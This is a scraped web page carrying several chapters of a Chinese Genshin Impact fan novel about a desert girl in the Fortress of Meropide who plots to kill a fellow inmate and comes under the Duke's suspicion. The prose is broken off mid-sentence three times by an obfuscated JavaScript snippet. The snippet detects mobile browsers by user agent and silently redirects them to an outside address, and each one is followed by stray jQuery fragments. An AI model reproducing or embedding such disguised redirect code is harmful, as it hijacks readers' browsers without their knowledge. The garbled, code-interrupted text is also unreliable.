;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096941|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能就这样打包带走——”
接待处在这里倒吸一口气,一切情绪和未尽之言都在这口气里体现得淋漓尽致。
“不管你想对那维莱特大人做什么——”
接待处将信重重地拍在了桌面上,“作为枫丹公民,我是不会允许这样的淫|秽信息传出去玷污那维莱特大人的名声的!”
露斯安:“……啊?”
她看到接待处现场写了张纸挂在墙上——
——梅洛彼得堡亦不是法外之地,请诸君注意言辞。
露斯安:“……”
露斯安一路上都在思考这点东西哪里“淫|秽”了,她到底应该怎么删改才能让这封信安然无恙地寄出水面,她觉得自己接触过的每一本枫丹小黄书都比这封信要“淫、秽”太多了,她又没写自己要把那位“那维莱特”老爷绑在帐篷里这样那样,她触发的禁词到底是那位老爷还是脖子以下?
露斯安一边思考一边走向食堂,迎面而来两个人,正热切地讨论着什么从她身边擦肩而过。
零散的片段通过空气传到露斯安的耳朵里——
“……想想看吧,被‘公爵’踩在脚下,啧啧啧。”其中一个人说,“想想那双翻边的过膝靴,再想想他强壮的大腿肌肉,还有那盯着猎物一样居高临下的表情——”
“你看他发达的胸肌,要是他能趴在我身上做俯卧撑——”
“……把手伸进他的拳击绑带里——”
“…………摸一下他身上的疤……”
露斯安:“…………”
不是,等等,他们这难道不是更淫|秽吗?!
所以淫|秽信息不能向外传播但是可以内部流通吗!!
两个人有说有笑地走过去,所过之处留下一连串快活的空气。
只有露斯安站在快活的尾气里,脑子有一万只圣金虫在滚沙团,每一团上都写着“真他大爷的离谱”。
更离谱的是讨论这种内容的是两个男人,露斯安觉得自己的精神状态似乎有些落后于枫丹的时代版本,她开始反省自己作为沙漠人是不是真的有点太保守了,她踏上这片土地之前怎么也想象不到枫丹人的“浪漫、热情、不畏世俗眼光”是体现在这上面的。
一定是因为她读过书,所以才显得和这个世界如此格格不入。
而且他们在讨论谁?“公爵”?是她刚刚听说的那个“公爵”吗?
她是不是应该修正一下对那位“公爵”的认知?
她本以为“公爵”是个威严尊贵的中年男人,或许也有一些宽厚,就如同她曾经侍奉过的主母那样——所以,就像部落健壮的小伙子们会在半夜偷偷去爬主母的帐篷一样,梅洛彼得堡这个地方,也有小鸡崽子会半夜去……呃……吗?
她好累,她还只是个十六岁的孩子,她为什么要一不小心知道这种事。
他最好真是个风流成性的酒囊饭袋,那样她的行动就会省很大功夫。
一天下来,露斯安怀疑自己被枫丹这个国家针对了,她有证据。
这种心情在她从食堂抽到福利餐以后达到了顶峰。
4. 第 4 章
根据梅洛彼得堡的规则,特许食堂每天可以免费领一次福利餐。
福利餐的内容不可选择、完全随机,开出什么来全靠运气,而负责抽签的是枫丹特有的发条机器人,这杜绝了对方被人为收买的可能性。
露斯安微笑着打开自己的餐品,一瞬间沉默得震耳欲聋。
根据描述,她抽到的应该是“枫丹洋葱汤”。
她知道这道菜,将洋葱炒至焦褐色再加入高汤炖煮,最后盖上面包片并撒上奶酪进行烘烤,出炉的时候会呈现出拉丝的奶酪、外焦里嫩的面包片、再搭配咸香的浓汤,是一道营养充足可以御寒的著名家常菜。
——但那和她抽到的这玩意没什么关系。
不知道加了什么于是糊成一团的发黑汤底、根本不能拉丝还呈现出外焦里生的奶酪、压根就看不到任何一片可以当做主食的面包,只在汤底捞出了一些不明的糊糊和碎渣……
她大概能闻出来洋葱、奶油、泡泡橘和史莱姆的味道——她觉得不是什么东西都可以拿来熬汤的。
“哦,是我创新的时候做失败的料理。”
食堂负责人韦尔赛说,“人生都是这样的,忍一忍就过去了,就像我年轻的时候在稻妻,排一年的队都抽不到‘御建明神主尊大御所大人像’隐藏款。”
露斯安:“御……呃,你是不是想说雷神的手办?”
“‘御建明神主尊大御所大人像’,叫错了小心有雷来劈你。”
韦尔赛一边纠正一边宽慰她,
“没关系,失败成这样的菜每天也就那么一道,水下资源珍贵,不能浪费粮食,忍一忍,明天这份坏运气就是别人的了。”
“……谢谢,您人还怪好的。”
但您创新得很坏,不如考虑一下以后要不就别再创新了吧。
…………
…………
其实也不是不能吃,露斯安搅着自己的福利餐苦中作乐地想着,至少比生食好多了,虽然当年猎一只赤鹫可以吃一天,但那玩意生吃起来的味道可真是能记到下辈子,相比之下区区创新失败的洋葱汤简直是人间绝味。
她都快把自己洗脑成功了,直到有一股带着“滋滋”声的油脂与肉汁的混合香气传来——有人敲了敲她的桌子,把一道油封鸭腿递到她面前。
“沙漠来的?”
“……嗯?”
露斯安抬头,看到了十分高大的男人,她需要努力仰头才能看到他的脸,那布满肌肉的古铜色肌肤和这个阴暗潮湿的水下格格不入。
“这个给你,打听点事。”
男人说着在她对面落座,他一身沙漠佣兵的标准打扮,兵刃水囊和织金眼罩一应俱全,除了脖子上的防沙围巾,上身几乎是赤裸的,只有一些皮带固定着武器,向所有人展露他那千锤百炼的结实肌肉。
他推过来的这道油封鸭腿显然是成功的菜品,外皮酥脆、色泽鲜亮,切开的一小道口子里能窥见软嫩而不烂的肉质,正向外渗出带着油光的饱满汁水来。
看起来真好吃,但是那和她没关系。
露斯安经过了剧烈的心里挣扎,然后她啃着勺子微笑着把它推回去:“问个问题而已,倒也不用这么客气,你也回答我几个问题就好。”
“也行。”
男人是个足够上道的佣兵,他把一叠特许券放到她面前,“那这个给你。”他想了想,又加了一叠,“算了,都给你吧,给我说点家乡事。”
“我很久都没回去了……五六年了吧。”男人这么说,“沙漠最近有什么变化吗?”
“你指什么?”
“比如说,”他看起来在斟酌什么字句,“大贤者开始允许沙漠人读书了吗?”
“?你好幽默啊。”
露斯安表示被他的想象力震惊了,“你怎么不问我是不是有人成功复活了赤王,然后大家效仿蒙德历史揭竿起义,冲进防沙壁里面把教令院的贤者们都给屠了?”
“……”
“我不知道你想问什么,但总之一切还是老样子,知识不出防沙壁,神恩不惠沙漠人。”
露斯安耸耸肩,“‘虚空终端’知道吧?到现在也没推广到沙漠里,当然你进了防沙壁会给你发一个,我就拿到过一个,但不管问什么‘知识’相关的内容都没有回馈,显然系统觉得沙漠人不配。”
还有什么来着……她一边搅着手里的汤一边思考,倒也不是她想说,实在是他给得太多了,她觉得自己说少了的话不地道:
“哦,前段时间,有个百年难遇的天才被教令院招揽了,但是也没什么用,沙漠人里的天才和你普通沙漠人有什么关系呢,对吧?反正一切照旧,全国的纸质书籍严格管控,虽然垃圾读物相对好点,但正经书籍只能靠走私,要是真敢公开给沙漠人开班授课,嘿,就等着祖宗八辈和子孙后代都被教令院软性除籍吧。”
露斯安搅着自己手里那份一团糟的餐品,觉得自己的胃口和里面不辩内容的糊糊一样无法言说,她干脆仰头把里面的东西一口气干了,然后皱起脸,有一搭没一搭地继续说:
“啊……对了,我来枫丹之前,传说中的大风纪官刚率人清缴过一批私自贩卖‘罐装知识’的——这个倒是不分雨林沙漠都在严格管制,但据说还牵连了一批给沙漠人私下提供教材的商人。”
这样的话题对用餐而言显然是有些扫兴的,随着露斯安的沉默,饭桌完全安静了下去,一时间谁都没有说话。
露斯安垂着眼,本着不浪费食物的原则,用勺子把内壁刮得干干净净。
“……但我觉得她不像是在骗我。”
半晌,男人忽然说,“她说她在离阿如村有一段距离的小村子教过人读书,让我叫她‘老师’就行——你知道的,那些小村子甚至不会标在地图上,如果不是去过的人甚根本没机会知道。”
勺子在金属的餐盘上划出长长一道,发出让人牙酸的“吱呀”声。
露斯安猛地抬头,发丝上的金饰碰撞出一连串脆响,她听到自己的声音混杂在里面,显得有些失真:
“——谁?”
“很惊讶对不对?听起来就像假的,但是编造这种事又没有好处,她干嘛冒着被教令院除名的风险——啊,在那。”
对方突如其来的感叹声淹没在一阵突发的骚动里,伴随着一阵“噼里啪啦”的声音,还有各种物体落地的声响,一时间所有人都向着取餐口看了过去。
有刚领了餐的两个人撞在了一起,刚出炉的滚烫菜品溅得到处都是,特别是其中一方的女性,大半个身子都溅满了热汤,看起来十分狼狈,裸露在外的皮肤正肉眼可见地变红。
露斯安站了起来。
沙漠来的同乡说了什么,而她又应付性地回了什么,这些对她而言已经不重要了。
——找到了。
她花了那么漫长的时间,跨过大漠无尽的黄沙远渡重洋,那些所有的行为总算在这一刻得到了回馈。
但她一点都不觉得高兴。
这个地点并不正确,这简直是她能想象的最坏的结果。
一个好人进了监狱,而监狱里有她的仇人,那么,这个好人是来做什么的?
这真是让人猜都不想猜。
“哎呀,老人家您可小心点。”
被撞的中年男人相貌平平,生了一张很和善的脸,脾气看着也很好,“这里可不是水上,磕到了是件麻烦事……您不如去个医务室?”
撞人的女性弓着身子,大半张脸都藏在兜帽的阴影里,听了他的话点点头,然后又摇摇头。
露斯安走过去,刚好听到被撞的人“哈哈”笑了两声,“您这态度让我很难办啊老人家……哟,这地方也有热心人啊。”
在这场骚动里,她是特许食堂唯一一个站出来的,虽然剩下的人也没有离去,有些看来已经失去了兴趣,有些则持续保持关注,但无一例外都与现场保持着距离。
想来也是,梅洛彼得堡的活动人员终究以犯人为主,不能指望每个人都对彼此敞开胸襟,她跳出来的行为未免有些扎眼了。
但露斯安无暇顾及那些,她一边整理那些掉落的刀叉,一边腾出手想扶对方起来:“您没事吧?”
“不,不……”对方明显地瑟缩了一下,抬起袖子挡住了脸,“别、别看我——”
可是露斯安已经看到了。
自兜帽与袖摆的间隙,在阴影尚未完全覆盖那张脸的瞬间——
餐勺自指尖滑落,在落地之前,露斯安猛地回过神来,眼明手快地捞进手里,没有让它发出更吵的声音来。
但她只觉得心里像是被金属“吱呀吱呀”地划过似的充满了杂音。
那张脸——该如何形容那样的脸,她看到交错纵横的伤疤,像地面凹凸不平的树根一样盘踞于整张脸,仿佛那不是一张人脸,而是一张树皮覆在了上面。
冷硬的金属硌得掌心发凉,她张了张嘴,但最后什么都没说,只是在形形色|色的目光里将人扶到了医务室。
…………
…………
医务室里没有人,只在桌子上放了一张纸条,大意是看护长去仓库清点药材了,马上回来,桌面上有常用的药物随意取用。
好在烫得也并不严重,露斯安那点墨水就足以应付这样的场面。
她取了绷带和一些基础的药物为女性进行了包扎,而对方在整个过程里一言不发,只是躺在那里,用另一只胳膊盖住脸,仿佛已经沉沉睡去了。
医务室沉默得像是死了一样,露斯安在绷带上打了最后一个结,然后,她听到了一声冷笑。
很难想象那是人类能发出的声音,那声音就像地狱的一道裂口,凄厉地回荡在金属的房间里。
“他不记得我了。”
病
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096942|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床上的人忽然说。
“他不记得我,也不记得小安妮了……他怎么敢——他怎么可以——呵呵……哈哈,这太可笑了,而他甚至要出狱了——”
她的言辞十分混乱而缺少逻辑,有些内容和她醉酒后的哭泣高度重合。
医务室的灯光昏黄,那样暖的颜色落在她漆黑的长袍上,像被吸尽了温度似的,反射出尖锐的银光。
露斯安并不了解那个“他”,不过没关系,这可以在公爵的办公室找到答案。
她只是叹了口气。
“——老师。”
她从对方的身上抽走了厨房的餐刀。
“你不能——”
对方枯瘦的手指猛地抓住了她的胳膊,那样大的力气,晃得她手上的金镯子叮当作响,就好像她抽走的不是什么凶器,而是支撑她的骨头似的。
“老师,您听我说。”
露斯安笑眯眯地看着她,“您不需要急,我在璃月学过算命,他虽然眼下看着生龙活虎的,但我看来他印堂发黑,近期有灾,是活不长久的。”
“你——”
“嘘——”
露斯安向她竖起一根手指,金色的眼睛向身后飘过去——过了片刻,一阵“哒哒哒”的脚步声响了起来。
“我听说有人受伤——哎呀,您还好吗?”
护士长回来了。
…………
…………
公爵的办公室很大,甚至分为上下两层,由靠墙的旋转楼梯相链接,但是楼下一无所有,办公设施和待客的沙发茶几都集中在二楼。
“公爵”不在办公室里。
别问露斯安为什么能进来,反正不可能是守卫请她进来的。
她在潜入之前有一些猜想甚至是期待,她希望典狱长是个酒囊饭袋,是个贪图享乐、被酒色掏空了身子的蠢货,但现实显然大相径庭。
办公室并不奢华,不要说什么金银玉器、奇珍异宝,相反,这里只满足了日常办公最基础的需求,干净得近乎朴素,所有设备主打一个实用,除了柜子的茶叶多得离谱以外,整体可以称得上两袖清风。如果说有什么称得上“价值”,大概就是桌子上的留声机、漂亮考究的茶具和书柜里一排排整齐的书籍。
办公桌的后面只有空置的椅子,椅子后面的墙上如同门口一样,雕着一只硕大的狼头浮雕。
穹顶是透光的玻璃,外面镶嵌着巨大的涡轮风扇,幽幽的水色经过风扇的切割,让这一片办公区域都笼罩在明灭交错的青碧水影中。
那样柔滑清冷的水色像一道青色的屏障,屏障中狼头的双眼森然有光,让旁观的人产生一种错觉——似乎这片区域存在本身便象征着不可侵犯的威严。
而露斯安正是不知好歹的入侵者,她踩碎水波笼罩出的肃穆,无声地走进水影投下来的无形结界,目标明确地将手伸向一摞摞整齐的资料,在翻开的那一瞬间,她只觉得心脏重重地收缩了一下。
——有声音。
从楼下,从更遥远的地方,经过墙壁的阻隔,最后只变成模糊的混音。
——那是否是一串脚步声,是不是在靠近这个方向?
办公室的钢铁门墙太过厚重,她无从辨析更多的信息,露斯安努力加快检索的速度,一目十行地略过无用的资料,但即使这样,也不能阻止那声音按照应有的节拍,有一下没一下地扣响在耳畔。
——是“公爵”正在回归他的领地?又或者只是犯人们路过时的嘈杂脚步?还是说,这其实只是她在重重压力下的一种模糊错觉?
细密的汗珠自鼻尖渗出来,所有的表情都从她脸上消失了,露斯安站在琉璃色的水光里,感觉头顶的万顷海水随时会向着她倾塌下来。
不对,不对,不对不对不对……这些都不是她想要的东西,或许她应该将资料直接带走……?不,那样未免过于醒目,她并不想过早惊动那个神秘莫测的管理者,那对她没有任何好处。
湿重阴冷的空气就像一道勒住喉咙索命符,而似有似无的脚步声牵引着绳索的另一端,玻璃外的涡轮在地上投下黑色的影子,仿佛一柄旋转的巨大闸刀,反复凌迟过她的神经。
在这样磨人的焦灼里,每一秒都漫长得让人窒息,露斯安甚至疑心自己需要的东西并不在这个办公室里——就在她这样想的时候,她终于找到了自己需求的名单。
一整摞资料,都属于刑期只剩两周左右的、即将出狱的犯人。
她看到了自己的名字,犯人编号S9695,刑期剩下十五天,她也看到了老师的资料,犯人编号S9690,刑期剩下十二天,还有最重要的——
犯人编号6068,长期服刑,刑期十年,如今只剩下十天。
她长长舒一口气,然后又猛地顿住——
——有轴承转动的声音,就像枪械正在上膛,清晰地从楼下传过来。
5. 第 5 章
在办公室里找到目标资料以后,露斯安花了一些时间来观察这个猎物。
犯人编号6068,男性,身高不超过160公分,面貌平平,为人和善甚至有点怯懦,没有肌肉也没有神之眼,从长相到身手都是扔在人群里就会被淹没平凡。
——他的刑期只剩下十天。
时间比预想中要更加紧迫,但露斯安并没有急于展开狩猎。
她自认是个经验丰富的猎人,知道欲速则不达的道理,在对周遭环境一无所知的情况下,贸然动手绝不是个明智的选择。
猎物的缝隙可能只有一瞬,在那之前等待的过程总是漫长的,而她恰好深谙此道。
所以接下来她度过了五天悠闲而紧凑的生活,白天在生产区—食堂—宿舍三点一线,做最老实的犯人,打最朴实的工,混在人堆里听一些犯人们闲暇时的流言——一切行为都和其他犯人别无二致。
而这五天足够她对猎物进行基础了解。
猎物的行动路线十分固定,他甚至连生产区的机器都喜欢用同一架,这为她的狩猎提供了相当程度的便利。
一点意外,既不会被老师发现,也不会被别人发现,而生产区就是会发生“意外”的绝佳场地。
计划已经在脑海中成型。
唯一的问题就是传说中的“公爵”。
她尚不能得知“公爵”人是不是在梅洛彼得堡,但梅洛彼得堡里到处都是“公爵”的传说。
首先,他应该是个强壮的老爷,总有犯人对他的身材想入非非,仅仅是几天时间,露斯安听到过的讨论就包括但不仅限于:包着绑带的胳膊、撑满衬衫的肌肉、身上的疤痕、精壮的腰线……那讨论听起来就让人觉得梅洛彼得堡是个法外之地。
“想被踩还不容易,你越狱试试不就知道了。”
“想什么呢,公爵为什么要奖励你,你真以为他什么都不知道?”
如果是平日听到了,她准会觉得这位老爷值得她上手摸一摸,但在眼下这可不是什么让人愉快的消息,一切有关他的正面消息都只会增加她行动的难度。
当然并不是所有犯人都对他服服帖帖,流言里也不乏一些恶意的攻击,甚至有人说“公爵”也不过就是个不择手段爬上去的犯人罢了,真真假假混杂在一起,让那位老爷的身影就像雾里的海面一样看不真切。
但在水下纷扰的流言里,他的正面评价压倒性地多于负面。
“拳击斗技的竞技什么时候再开一场?我想再和公爵较量一下。”
“等着吧,刚结束就开,你以为主办方是做慈善的啊?”
所以他是个格外自律的人,露斯安想,拳力斗技场的墙上也挂着他作为冠军的荣誉,这证明他身手矫健、实力超群,是精于战斗的优秀战士,同时可能遇到过生死一线的危机——而他活了下来,身上的伤疤是荣耀的勋章。
此外,他似乎还是个开明、仁慈的统治者,比如说,据说如今特许食堂的免费福利餐制度就是他定下的——在他上任之前,梅洛彼得堡笼罩在上一任的威压之下,苛刻得连一杯水都要用特许券来换。
这个消息倒不是她主动打听的,而是食堂管理人提供的,原因是露斯安又抽中了末等奖。
她就说枫丹这个国家就是在针对她,现在她的证据一大把一大把。
总而言之,露斯安实在是霉得连定下规则的韦尔赛本人都看不下去,这位师傅的态度从“怎么又是你”演变成“怎么还是你”,现在看到她的表情已经变成了“怎么老是你”。
后来他甚至会特地走出来看她抽签,主打一个“我不信,除非你现场抽一个我看看”。
“你这也太黑——”
当她第六天抽中“创新失败的新餐品”之后,韦尔赛看了一眼她那属于沙漠人的、焦糖似的健康肤色,把即将脱口的人身攻击咽了回去,“行吧,这可能也不是我们谁的问题……但是公爵回来了准会建议我加个保底。”
他嘟囔着“加了保底不是正宗稻妻味儿”之类让人听不懂的话回去工作了。
噢,所以,“公爵”眼下不在这里。
即使不是,她也没有太多选择了。
摸索梅洛彼得堡的内部构造到底还是花了一些时间,五天,虽然略显仓促,但这已经是她能透支的极限,她已经尽最大可能地排除了环境里的风险、摸透了猎物的行踪,而剩下的部分,则是再高明的猎人也无能为力的“天意”。
能制造“意外”的场地只有生产区,再拖下去,她并不确定猎物是否会在出狱前改变路径。
露斯安在狩猎的日子一贯起得很早。
这是她在梅洛彼得堡服刑的第六天,是个难得的好天气——应该吧,至少今天从穹顶透进来的水光格外透亮。
那样氤氲潋滟的青碧色幽光,让被笼罩的钢铁堡垒看起来悠远而宁静,就仿佛这里是被时间遗忘的缝隙,天然承载着记录历史的职责,如果不是作为犯人欣赏,那或许是一道令人称赞的绝妙风景。
对于梅洛彼得堡的犯人而言,今天是和往常没有区别的一天,大多数人会选择从生产区开始赚点零花。
露斯安也如往日一般混迹于人群,在看守的监督下启动手里的机器。
嗡然有序的机械、滋滋作响的蒸汽,机油的味道缠绕在鼻尖,成型的零件碰撞出清脆的金属声。
有人在叹气,有人在咳嗽,有人在打盹,有人在炫耀自己所剩无几的刑期。
在这样一成不变的日常里,在这样琐碎嘈杂的背景下,露斯安一如既往地微笑着准备完成自己手里的工作,但在填充材料的时候,她有一种自己心不在焉的错觉,对着自己手里的原材料呆愣了片刻。
然后,她听到了声音。
吱呀——
那是轴承转动的声音,轻微得,像一片树叶落进了水里。
是开门的声音。
从很远的地方传过来,淹没在机械的嗡鸣和琐碎的谈话里,分明没有任何值得注意的地方,但她只觉得整片后背都激起细小的战栗。
……为什么?
她缓慢地将零件的原料放入机器。
身后分明是一如往常的梅洛彼得堡,昏黄的灯光,冷硬的金属,但她却觉得自己正置身于茫茫的雾气里,有什么正从视觉的死角逼近她。
梅洛彼得堡理应不存在她无法应对的危机。
除非——除非——
手下的机器顺畅地运行,在眼前冒出蓝色的光。
——那声音是否只是她的错觉?
她又想起在公爵办公室检索资料的那一天,那样清晰的轴承声并不来自于门扉,那间办公室里显然另有玄机。
现在的情况与那一日何其相似,是不是这种细微的异响也只是什么人开启了水下堡垒的某扇暗门而已?
不,不对,那不可能。
她更相信自己的直觉,身后确实有什么正在靠近,那感觉是如此清晰、尖锐、叫人如芒在背,仿佛她才是那个被盯上的猎物。
经验老道的猎人往往具备特殊的直觉,在危机出现端倪之前,就能从空气里嗅到不同寻常的味道。
而她认为目前的处境正是写照。
感官敏锐得并不正常,她清楚自己正在淹没在监狱的人群里,但有一部分五感正超脱当前的位置,沿着梅洛彼得堡弯绕曲折的地面向远方追溯。
路过零散的人堆、路过特许食堂的桌椅,路过站岗的守卫……一路向着更遥远的地方延展,延展,然后,在“叮”的一声提示音里停住。
那是升降机的声音。
有什么人走了下来。
心脏因为这个小小的细节剧烈地收缩了一下,有那么一瞬间,她以为自己的血液正在逆流。
手下的机器有条不紊地工作,战栗却沿着脊椎向上蔓延,露斯安将呼吸压到最缓,努力捕捉那声音里的每一个细节。
哒、哒、哒。
那是靴子踩在地面的声音,稳而坚实,同时又足够轻盈——走路的人一定经过相当程度的训练,底盘很稳,但同时点地很轻,这让ta即使踩中陷阱也能迅速调整重心,远离致命的危险。
身边有零件滚落的声音,露斯安垂着眼,试图从金属的脆响中持续捕捉远方的信息。
哒、哒、哒。
是制式的靴子,她想,军靴,又或者是警卫队的款式,厚底,花纹够多,摩擦力够大,鞋底一定嵌着什么坚硬的东西,大概率是金属——那能保证进攻的时候对敌人造成有效的打击。
咯啦啦、咯啦啦、咯啦啦。
那是金属撞击产生的声音,或许是手铐,或许是钥匙,也可能还有什么其他东西,不是一种,而是多重撞击声的合并,这个人身上一定有很多零散的金属饰物,而这和ta身上其余属于战士的部分画风相悖。
ta正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096943|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在靠近。
从她感官的迷雾里,踩着不紧不慢的步伐,正一步步向她所在的生产区走过来。
蒸汽滋滋地响,机器嗡嗡地转,手中的零件成型又填充新的原料,就在这样工业化的重复步骤里,周围的一切都塌缩成漆黑的纸片,唯有感官在背后延展的路线呈现出一条雾蒙蒙的光路,那路线的尽头是笼在雾里的危机,笔直地,精准地,向着她所在的位置不断逼近。
她开始能听到呼吸。
——是个男性,呼吸声稳定绵长,那确实是战士的吐息方式,只是呼气声经过空气的颠簸,似乎带着些微的颤动,就仿佛那是一声贴着耳朵的轻笑。
背后的战栗一点点爬到脊椎,露斯安的耳朵不安地动了动。
哒、哒、哒。
咯啦啦、咯啦啦、咯啦啦。
近了,更近了,那步伐就像是踩在她的神经上,现在她能确定他确实在笑,嗅觉也一并加入了运作,她开始能闻到他身上的味道,那就像是经过阳光暴晒过的海水似的,热而清澈——这证明他在资源紧缺的水下享有把自己收拾干净的余裕。
心脏在身体里蜷缩成一团,然后沉甸甸地坠下去,她想,她已经知道这是谁了,只差最后一点确认,而脚步声已经贴近了她的后背,她甚至疑心他正在踩踏她的脊椎。
还有十米。
还有五米。
她听到了看守的吸气声,她听到了犯人们的交头接耳,她并不意外那些潮水一样忽然席卷生产区的骚动——
“——公爵大人!早、啊不,中午好!”
“啊,日安,考尔德先生,工作辛苦了。”
声音顺着背脊笔直地爬进脑子。
意外年轻的声线,也并不显得十分威严,反而语调拖得很长,听起来甚至有点没睡醒似的散漫。
“您是来巡逻的吗?”
“啊啊,是啊,总坐在办公室里闷着可不是什么好习惯,不然哪天梅洛彼得堡的人都不认识我了,那岂不是糟糕了。”
作为一个上位者,那声音未免过于慵懒随和了,那些细小的语气词带着调笑的味道,但露斯安只觉得自己脸上的笑容正因此而逐渐凝固。
这个男人——
哒、哒、哒、哒。
他走过来了。
生产区的机器星罗棋布,但他却选择了她所在的过道笔直地前进,是因为看守正巡逻到附近,还是因为她露出了什么破绽?
无论如何,露斯安阻止不了他的步伐,她只能微笑着等待结果,靴底的金属清晰地在地面扣响,像枪械在上膛、像行刑前的倒数……
还有二十步,还有十步、九步、八步——五步——
他就在她身侧一步之遥。
站岗的守卫、工作的犯人、头顶的传送带、遥远的玻璃穹顶,梅洛彼得堡的金属墙……那些所有的一切都从感官里远去,远去,最后消失,她知道这是作为猎人的失职,但她已经无暇顾及周遭的情况,她所有的感官都在焦距这个危险的男人,她试图从他的呼吸中找到可以切入的破绽。
他将她镶嵌在影子里。
白色的蒸汽自机器喷薄而出!
小小的零件“叮铃铃”地自出口滚落,蒸汽像白茫茫的雾一样掩盖住两个人擦肩的瞬间,男人越过露斯安的身侧,和越过其他犯人一样没有区别。
蒸汽朦胧了视野,模糊了她脸上的微笑。
这可太糟糕了,露斯安想。
错身的那个瞬间被拉得很长,就像一卷不知尽头的映画。
她看到飞扬的黑色衣摆下暗红的内衬,灰马甲包裹的精壮有力的腰线,腰侧的手铐在蒸汽里也闪闪发亮,另外有一条长长的金属链坠在衣摆后腰的中央,在空气拉出一道锐利的银光。
公爵停在她斜前方一步之遥的位置。
露斯安被笼罩在他高大的影子里。
那厚重的大衣顺服地自他身后垂落,他身上清澈而热烈的温度骤然变得浓郁起来。
她听到了他的笑,她听到了他的呼吸,她感受到了他的体温,他背对着她的位置,对着看守言笑晏晏,但她觉得他的体温、他的背影、他带笑的声线无一不充满漆黑的警告,当他笑着开口的时候,分明是背对她的姿势,却似乎有灰蓝的眼瞳向下轻瞥,极为冷淡地俯视她的灵魂。
“毕竟我的办公室只有那么一点大,连溜只老鼠进来都能看得一清二楚。”
6. 第 6 章
梅洛彼得堡的空气潮湿而阴冷,海水的湿气黏在皮肤上,最后变成汗水,自露斯安的额角滑落到下颚。
一个危险的男人。
除此之外她找不到任何形容,尽管他衣冠楚楚、语气随和、声音含笑,即使面对看守或者搭话的犯人也依然态度平和、言辞诙谐,但她体内的每一个细胞都在尖叫着产生戒备,露斯安忍耐住想要将手探向武器的冲动,告诫自己不需要在这个时候过于急切。
——他没有证据。
哪怕他确实话中有话,哪怕他真的在暗示什么,但她相信自己没有留下任何痕迹,所以,这个人才会以这样的姿态,向所有犯人,而不是向她一个人出言警示。
甚至说,哪怕他真的在怀疑她,对她而言也远远不算绝路。
即便如此,心还是一点点坠下去,时间一分一秒地流逝,公爵却丝毫没有离开的意思,他说话时有诸多肢体动作,高大的影子在她身上不断地变幻姿态,每一种都带来沉重的压迫。
偶尔,在他倾身聆听的时候,她会短暂地自他身影中解放,但他从未真正离开,不过片刻,那影子又会沉甸甸地落回身上,仿佛一副散发着热度的人形枷锁。
零件不断地成型又不断滚落,露斯安在他的影子里沉默,男人辐射过来的体温滚烫,但她体内的血液正随着时间的流逝而趋于冻结。
——还剩五个零件,然后她的狩猎就会如期开始。
——他到底要在这里站多久?他是不是还意识到了什么?他是不是真的洞见了她接下来的行为?她是不是应该摆出好奇的微笑去抬头看看他的背影,就像其他犯人一样?
没有人能回答她的疑问。
她也错过了第一时间抬头的机会。
这位公爵老爷就像脚下生了根似的站在那里,好像打定主意要在生产区站到天荒地老,这让露斯安心底的焦灼一点一点地啃食她的神经。
——还有三个零件。
“……哈啊,我也确实很久没有活动筋骨了,主要是梅洛彼得堡的大家都很让人省心,根本就没有我的用武之地。”
她听到公爵这样笑着说,男人摊开手,她余光里出现一小截手臂,从厚重的外套下摊到眼前,她只觉得心脏因为他的言行而重重地跳了起来——
“至于拳力斗技场又太热血了,大家上头了就不知道收手,常常搞得我最后只能用手铐和惩罚收拾局面,好像我去那里就是为了给大家展示一下公爵手里的鞭子似的,有时候未免有点扫兴。”
那是属于战士的手臂,露斯安想。
指节匀称有力,肌肉紧实流畅,衬衫的衣袖一直挽到手肘,黑色的拳击绑带一路从小臂缠到手指——这让人体脆弱的关节得到了充足的保护,绑带间隙隐隐透出数道狰狞的伤疤,指根处的五颗银白指环在灯光下闪闪发亮。
心音在胸膛里绷成一条笔直的线。
露斯安感觉自己遭到了莫大的诱惑,尽管这体感并不合时宜——他就那么毫无防备地背对着她,她能感受到那根手臂的热度,她也能感受到皮下跳动着的有力脉搏,这个姿势松弛、自在、疏于防范,她终于在这个瞬间捕捉到了他呼吸的缝隙。
在那个瞬间,他高大的身影在她眼里退化成披着人皮的弱点集合,哪怕不需要眼睛确认,她也能感受到他的经脉、骨节、心脏、血管……她脑海里已经模拟了武器切割的路线,就像剪刀裁开脆弱的纸片,从手腕、从肩膀、从心窝、从后颈——从他断裂的关节处溅射出的血液会延展成蓬勃尖锐的花。
露斯安握着原料的手指痉挛了一下。
金属的切面上倒映出她微笑的脸。
——不行,还没到那种时候。
——这个时间,这个地点,并不适合这样冒进,他们之间还远远不到鱼死网破的时候。
——话虽如此。
她看着那只手从视野里垂下去,最后又隐没在厚重的大衣之下。
